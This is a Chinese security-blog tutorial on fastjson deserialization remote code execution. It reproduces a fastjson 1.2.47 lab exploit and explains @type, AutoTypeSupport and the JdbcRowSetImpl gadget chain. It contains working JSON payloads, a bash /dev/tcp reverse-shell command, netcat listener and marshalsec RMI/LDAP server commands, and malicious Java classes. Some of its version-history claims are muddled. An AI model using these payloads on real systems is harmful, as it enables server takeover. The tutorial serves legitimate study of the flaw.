freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

老生常谈的fastjson安全问题,从实战深入反序列化漏洞原理
青青草原羊真香 2023-06-20 12:41:56 241127

写作背景

反序列化是java安全er避不开的技能点,也是非常难的一个点。我入行安全满打满算也就一年,之前一直也想弄明白,但是总是被各种问题卡住,这次我下决心势必要啃掉反序列化这块硬骨头。

这里我就先从我实战中遇到最多也是自己最熟悉的fastjson开始,这个漏洞老生长谈了,不过只要遇到就真是一个很好的点了。这里我先从效果开始再转战到原理,因为如果不懂代码,上来就分析代码就会让人望而却步。直接从漏洞利用开始,溯源到原理反倒是我这种非安全研究er的最好学习方式。

fastjson1.2.47实战效果

环境搭建(vulhub中的环境)

这个漏洞环境在vulhub的docker环境中,网上vulhub和docker的下载安装教程很多,就不过多赘述了。

这里我的机器只有一台kali:攻击机和漏洞环境均在kali上,起了不同的服务。

漏洞利用

poc

搭建完毕环境后,直接打poc:{"zeo":{"@type":"java.net.Inet4Address","val":"umzivu.dnslog.cn"}},成功回显。


1687234670_6491286eca495f86502d5.png!small

反弹shell

  1. 漏洞利用:利用jndi_tool.jar工具,攻击机上反弹

java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "bash -i >&/dev/tcp/192.168.18.128/12345 0>&1"

1687234730_649128aaa118d9ada02f2.png!small


输入要打的ip:192.168.18.128

1687235006_649129bebc67ba733e6fe.png!small


  1. 攻击机监听12345

nc -lvvp 12345

1687235125_64912a3577f6d0ed22a06.png!small


  1. burp打exp
{
            "a": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
    				     },
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": "rmi://192.168.18.128:1099/Object",
                "autoCommit": true
                 }
 }

1687235148_64912a4cd93a28cd2a671.png!small

成功反弹shell

1687235168_64912a603ad371fdd902f.png!small

漏洞原理

从刚才我们的操作可以看到,我们在攻击机上监听了12345端口,随后利用jndi工具生成了一个payload,在burp上我们将exp发送至服务端,即可成功获取shell。攻击操作很简单,但内部其实是有一个调用的过程,具体攻击流程可以用下图分析:

1687235199_64912a7f1f438320aa274.png!small

①攻击者控制的RMI服务器(192.168.18.128)启动并监听在1099端口上。

②攻击者构造恶意序列化数据,其中包含了对目标服务器的RMI连接地址(例如,rmi://目标服务器IP地址:1099/Object),并将恶意序列化数据发送给目标服务器。

③目标服务器接收到恶意序列化数据,并尝试进行反序列化。在反序列化过程中,由于存在反序列化漏洞,恶意RMI连接将被建立,连接到攻击者控制的RMI服务器(192.168.18.128)

④攻击者控制的RMI服务器收到恶意连接后,执行恶意代码(例如,建立一个反向Shell连接)。攻击者可以通过反向Shell与目标服务器进行交互,执行任意命令或进行其他攻击活动。


fastjson序列化与反序列化

知道了这样做可以反弹shell,那么为什么可以进行漏洞利用呢。要深入剖析,从fastjson代码逐步分析,方而看清漏洞本质。

序列化

要反序列化,首先就得先序列化,这里我们用两种方式进行序列化,一种Java io原生序列化,一种fastjson序列化。

构造一个普通类Common

//构造一个普通类Common
public class Common {
    //私有属性data
    private String data;

    //settet getter方法
    public String getData() {
        return data;
    }

    public void setData(String data) {
        this.data = data;
    }
}

Common类序列化法一:java原生序列化

  • IO

文件IO流(FileInput/OutputStream) 对 文件进行输入和输出

对象IO流(ObjectInput/OutputStream) 对 对象进行输入和输出

首先用new FileOutputStream创建一个文件输出流,再用new ObjectOutputStream创建一个对象输出流(因为oos是对象输出流类型),这时我们就可以在java程序中向外(文件)输出流(内容)了,画成图:

1687235349_64912b15cdbb74e42edd2.png!small


  • 要求Common类必须实现 Serializable接口
import java.io.Serializable;

//构造一个普通类Common
//Common类必须实现Serializable接口
public class Common implements Serializable {
    //私有属性data
    private String data;

    //settet getter方法
    public String getData() {
        return data;
    }

    public void setData(String data) {
        this.data = data;
    }
}

  • java原生序列化方式
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;

public class JavaSerialization {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        System.out.println("对象已经成功序列化");
    }

    public static void main(String[] args) throws Exception{
        //创建Common类实例
        Common obj=new Common();
        obj.setData("我是Common类");
        serialize(obj);
    }
}

  • 序列化后的结果

1687235371_64912b2bdbdfe1aba4638.png!small


  • 运行后生成了ser.bin文件,文本打开后如下

1687235396_64912b446a1ef4b11e988.png!small1687235413_64912b552fd7e4f41cb5e.png!small

Common类序列化法二:利用fastjson

  • fastjson在序列化时会将对象的所有属性进行序列化,所以不需要显式地实现Serializable接口
  • fastjson序列化主要用到的方法为JSON.toJSONString(),通过该方法将对象序列化为JSON字符串
import com.alibaba.fastjson.JSON;

public class FastjsonSerialization {
    public static void main(String[] args) {
        //创建Common类实例
        Common obj=new Common();
        obj.setData("我是Common类");

        //将Common类序列化为JSON字符串
        String Json= JSON.toJSONString(obj);
        System.out.println("序列化后的JSON字符串为:"+Json);
    }
}

  • 序列化后的结果:

1687235431_64912b67c542abc94e585.png!small

原生方式序列化 vs fastjson方式序列化

特性

Java原生方式序列化

FastJSON方式序列化

依赖性

Java标准库,无需额外依赖

FastJSON库,需要导入FastJSON的相关依赖

序列化效率

一般较慢

通常较快

序列化结果大小

较大

较小

自定义序列化支持

需要实现Serializable接口和自定义序列化方法

不需要实现接口,支持直接序列化普通Java对象

支持的数据类型

支持序列化Java内置类型和实现了Serializable接口的自定义类

支持序列化Java内置类型和大部分自定义类,无需实现接口

序列化控制

可以通过自定义序列化方法对序列化过程进行精细控制

提供注解和配置选项来控制序列化行为

扩展性

需要自行实现自定义序列化和反序列化逻辑

提供了灵活的扩展机制,可以注册自定义序列化器和反序列化器

反序列化

这里我们主要研究fastjson的反序列化,原生的反序列化就先不花篇幅陈述了。

反序列化代码

  • fastjson反序列化主要用到的方法为JSON.parseObjec(),这个方法接受一个JSON字符串和目标类的类型作为参数,将JSON字符串转换为对应的Java对象。
import com.alibaba.fastjson.JSON;

public class FastjsonDeserialization {
    public static void main(String[] args) {
        //将刚刚的Common类序列化后的数据进行反序列化
        String json = "{\"data\":\"我是Common类\"}";

        //反序列化
        Common obj=JSON.parseObject(json,Common.class);

        //将反序列化后的数据打印出来
        System.out.println("反序列化后的数据为:"+obj.getData());
    }
}

  • 执行结果

1687235456_64912b8041305ac152949.png!small

简单总结一下fastjson三种重点方法:JSON.toJSONString、 JSON.parse、JSON.parseObject

方法

功能

用途

返回值类型

示例

JSON.toJSONString

对象转为 JSON 字符串

将 Java 对象转换为 JSON 字符串表示形式

String

String jsonString = JSON.toJSONString(obj);

JSON.parse

JSON 字符串解析

将 JSON 字符串解析为对应的 Java 对象

Object

Object obj = JSON.parse(jsonString);

JSON.parseObject

JSON 字符串解析

将 JSON 字符串解析为指定类型的 Java 对象

指定类型

Person person = JSON.parseObject(jsonString, Person.class);


深入代码看rce根源

从我个人理解的角度看fastjson漏洞,感觉漏洞主要原因是这几个:@type、AutoTypeSupport以及利用链。

@type

@type 是一个特殊的字段,用于指定反序列化时应该实例化的具体类。攻击者可以在JSON字符串中使用 @type 字段,并指定一个恶意的类名,以触发不受信任的类的实例化和执行恶意操作。

AutoTypeSupport

AutoTypeSupport 特性默认是开启的。这个特性允许在反序列化过程中自动识别并实例化特定类型的对象。然而,这也为恶意用户提供了一个机会,可以利用 @type 字段和自动类型识别功能来执行恶意操作

利用链

恶意用户通过构造一系列嵌套的对象和方法调用,利用fastjson的自动类型识别和调用链,最终达到命令执行的目的

@type

  • 有一个恶意类BadClassPerson
import java.io.IOException;

public class BadClassPerson {
    private String name;
    private int age;
    private String sex;

    public BadClassPerson() {
        System.out.println("构造方法");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    //在setSex中有一段弹计算器的命令执行代码
    public void setSex(String sex) throws IOException {
        System.out.println("setSex");
        Runtime.getRuntime().exec("calc");
    }
}
  • 反序列化这个恶意类即可调用其Setter方法,从而造成命令执行
import com.alibaba.fastjson.JSON;

public class Deserialization {
    public static void main(String[] args) {
        String jsonString ="{\"@type\":\"BadClassPerson\",\"age\":80,\"name\":\"lili\",\"sex\":\"man\"}";
        System.out.println(JSON.parseObject(jsonString));
    }
}
  • 然而我在实际实验过程中发现弹不出来计算器,更换各种低版本的依赖包都不能执行命令。几经搜索得知现在Fastjson在默认情况下不会执行命令,而是将输入的JSON字符串解析为对应的Java对象。
  • 在较早的版本中,默认情况下Fastjson允许执行特定的Java类的方法,这可能导致命令执行。现在的Fastjson已经进行了更新和改进,限制了对特定类型的自动执行。从Fastjson版本1.2.24开始,默认禁用了对 @type 字段的自动类型转换,以减少安全风险。这意味着不再支持通过 @type 字段来执行任意命令。

AutoTypeSupport

AutoTypeSupport是Fastjson中的一个配置选项,用于控制自动类型转换的支持。默认情况下,Fastjson会禁用自动类型转换功能,以防止潜在的安全风险。通过启用AutoTypeSupport,可以允许@type字段的解析和自动类型转换。

正是因为传入的@type类有恶意风险,为了减轻Fastjson反序列化漏洞的风险,可以通过将存在安全风险的Class全路径的Hash值存储在黑名单中的方式进行校验。Fastjson使用了Hash算法,将一系列已知存在安全风险的Class的全路径转换为Hash值,并将这些Hash值存储在黑名单中。在反序列化过程中,Fastjson会检查 @type 字段指定的Class的Hash值是否存在于黑名单中。如果存在于黑名单中,Fastjson将拒绝实例化该Class,并抛出异常,从而防止恶意攻击者执行未授权等高危操作。


  • 这里用一段利用 FastJSON 的 AutoTypeSupport 功能进行攻击的代码作为例子:攻击者可以构造恶意的 JSON 字符串,其中的 @type 字段指向任意可加载的类,并利用 AutoTypeSupport 功能绕过 FastJSON 的类型检查,从而实例化和执行恶意代码。
import com.alibaba.fastjson.JSONObject;

public class Main {
    public static void main(String[] args) {
        String jsonStr = "{\"x\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"nv03d9.dnslog.cn\"}}}";
        Object json1 = JSONObject.parse(jsonStr);
        System.out.println(json1);
    }
}

执行结果

1687235537_64912bd1446bfdd56f50f.png!small

利用链

回到我们最初实战用到的exp,这段代码就涉及到了JdbcRowSetImpl利用链。下面我们分析下这段poc:

{
            "a": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
    				     },
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl",
                "dataSourceName": "rmi://ip:port/Object",
                "autoCommit": true
                 }
 }

"a" 属性指定了一个java.lang.Class对象,其值为"com.sun.rowset.JdbcRowSetImpl"。这意味着在反序列化过程中,会尝试将值反序列化为JdbcRowSetImpl类。

"b" 属性指定了一个com.sun.rowset.JdbcRowSetImpl对象,"@type" 属性指定了要反序列化的对象类型JdbcRowSetImpl。"dataSourceName" 属性指定了一个RMI(远程方法调用)URL,指向rmi服务器上的Object类。"autoCommit" 属性设置为true,是为了在反序列化后执行某些操作。


1.2.24 vs 1.2.47 JdbcRowSetImpl

  • payload对比

1.2.24

1.2.47

{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://ip:port/Exploit",

"autoCommit":true

}

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://ip:port/Test",

"autoCommit":true

}

}

法一:利用marshalsec开启rmi服务

  1. 构造恶意类Exploit,并编译
import java.io.IOException;

public class Exploit {

    public Exploit() throws IOException {
        //直接在构造方法中运行计算器
        Runtime.getRuntime().exec("open -a calculator");
    }
}

2. 将其放在一个能访问到的服务器上

1687235577_64912bf92c6343053b164.png!small

  1. 在做JdbcRowSetImpl利用链代码分析的时候,需要用到JNDI+LDAP或者JNDI+RMI。这里可以用marshalsec来作rmi服务器,端口为8888。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:1000/#Exploit" 8888
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:1000/#Exploit" 8888
  1. 客户端测试
public class ClientDemo {
    public static void main(String[] args) {
        String payload="{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"ldap://ip:8888/Exploit\",\n" +
                "        \"autoCommit\":true\n" +
                "}";
        Object obj = JSON.parseObject(payload);
        System.out.println(obj);
    }
}

成功获取恶意类

1687235600_64912c1075dc93eb22688.png!small


ldap也建立连接

1687235617_64912c21a91163e9dbab7.png!small

  1. 但是我这里始终没有弹出计算器

1687235632_64912c30931ebc8b1c336.png!small

法二:利用RMI绑定RMI服务

这里借用其他师傅的代码 Java 的 RMI(远程方法调用)机制来创建和绑定 RMI 服务,最后命令执行复现也失败了

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "badClassName","http://ip:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}
public class badClassName {
    static{
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch(Exception e){
            ;
        }
    }
}
import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:1099/badClassName\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

结果显示

1687235654_64912c461ba87849c715f.png!small

对代码分析的思考

这里用ClientDemo的方式进行测试实际和burp打exp效果是一样的,但是我在复现时就是弹不了计算器,找了很多教程都没能复现出来,猜测可能是fastjson做了什么限制。

@type、AutoTypeSupport、利用链小结

@type

AutoTypeSupport

利用链

功能

通过指定@type字段指定目标类

自动检测和支持特定类的自动类型转换

利用链是一系列的类和方法调用,构建一个恶意操作序列

漏洞成因

默认情况下Fastjson启用自动类型转换

Fastjson库通过AutoTypeSupport支持自动类型转换

利用链中的方法或类可能存在漏洞,导致安全问题

安全措施

默认情况下禁用@type字段自动转换

从Fastjson版本1.2.24开始,默认禁用AutoTypeSupport

需要修复潜在漏洞的方法或类

安全影响

可能导致恶意类的实例化和方法调用

可能导致恶意类的实例化和方法调用

可能导致任意代码执行、命令执行或信息泄漏

修复措施

限制或禁用@type字段的自动转换

禁用AutoTypeSupport或限制自动类型转换的范围

修复利用链中的潜在漏洞

写作总结

本文从最开始的fastjson实战实验开始,随后深入了解fastjson反序列化过程以及导致漏洞产生的三个重要原因,均是服务器对传入的json代码过滤不严导致可以利用rmi或jndi方式进行获取恶意利用类进而造成远程命令执行。实际作者在复现过程中也出现弹不出计算器的情况,猜测可能是因为现有给出的代码已经对fastjson漏洞做了修复。也欢迎各位师傅帮忙解惑。

参考链接:

https://xz.aliyun.com/t/8979#toc-3

# 网络安全 # web安全 # java # Java反序列化漏洞分析 # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 青青草原羊真香 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
青青草原羊真香 LV.4
这家伙太懒了,还未填写个人描述!
  • 9 文章数
  • 9 关注者
php代码审计篇二——ZbzCMS
2023-10-16
php代码审计学习笔记-xhcms
2023-09-28
java反射探讨
2023-09-07
文章目录